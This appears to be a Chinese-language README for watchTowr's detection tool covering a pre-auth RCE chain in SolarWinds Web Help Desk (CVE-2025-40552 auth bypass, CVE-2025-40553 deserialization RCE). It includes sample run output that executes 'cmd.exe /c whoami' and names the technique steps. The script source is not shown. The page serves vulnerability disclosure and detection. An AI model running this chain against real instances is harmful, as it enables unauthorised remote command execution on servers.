CVE-2025-40552 与 CVE-2025-40553 SolarWinds Web Help Desk 预认证 RCE 链

SolarWinds Web Help Desk 预认证 RCE 链检测产物生成器工具

描述

此检测产物生成器用于验证 SolarWinds Web Help Desk 实例是否存在 CVE-2025-40552 和 CVE-2025-40553 漏洞。

检测产物生成器尝试执行两项操作：

使用 CVE-2025-40552 绕过身份验证 - 此检查非常准确。
如果成功，它会尝试通过执行 cmd.exe /c whoami 命令来验证 CVE-2025-40553 RCE - 此检查并非 100% 准确，因为它基于可能因环境而异的错误消息。

注意 - 在 RCE 测试期间，脚本将在 postgres 数据库中创建 SWWHDDAG<random_8_characters> 表。

测试后，您可以验证命令输出是否存在于数据库中：

> SELECT * FROM public.swwhddagmm2t6t79

"output"
"nt authoritysystem"

检测演示

针对易受攻击的实例进行测试：

$ python3 watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py -H https://vulnerable.lab:8443
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py
        (*) CVE-2025-40552 + CVE-2025-40553 Pre-Auth RCE Chain in SolarWinds Web Help Desk - Detection Artifact Generator

          - Piotr Bazydlo (@chudyPB) of watchTowr 

        CVEs: CVE-2025-40552 and CVE-2025-40553

[+] Testing CVE-2025-40552 Authentication Bypass
        [+] Triggering error and poisoning context cache with LookAndFeelPref
[+] VULNERABLE to CVE-2025-40552 Authentication Bypass
[+] Testing CVE-2025-40553 RCE
        [+] This stage will create SWWHDDAGp08zwfs6 DB table if successful
        [+] Verifying deserialization and serialization of org.apache.commons.dbcp2.BasicDataSource
[+] PROBABLY VULNERABLE: Connection validated and SQL queries can be executed
        [+] Executing "cmd.exe /c whoami" - verify locally if it worked

针对不受漏洞影响的实例进行测试：

$ python3 watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py -H https://notvulnerable.lab:8443
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py
        (*) CVE-2025-40552 + CVE-2025-40553 Pre-Auth RCE Chain in SolarWinds Web Help Desk - Detection Artifact Generator

          - Piotr Bazydlo (@chudyPB) of watchTowr 

        CVEs: CVE-2025-40552 and CVE-2025-40553

[+] Testing CVE-2025-40552 Authentication Bypass
        [+] Triggering error and poisoning context cache with LookAndFeelPref
[-] NOT VULNERABLE to CVE-2025-40552, exiting

受影响版本

< SolarWinds Web Help Desk 2026.1

参考资料：https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm

关注 watchTowr Labs

如需获取最新安全研究，请关注 watchTowr Labs 团队

watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553

最受欢迎

CVE-2025-40552 与 CVE-2025-40553 SolarWinds Web Help Desk 预认证 RCE 链

描述

检测演示

受影响版本

关注 watchTowr Labs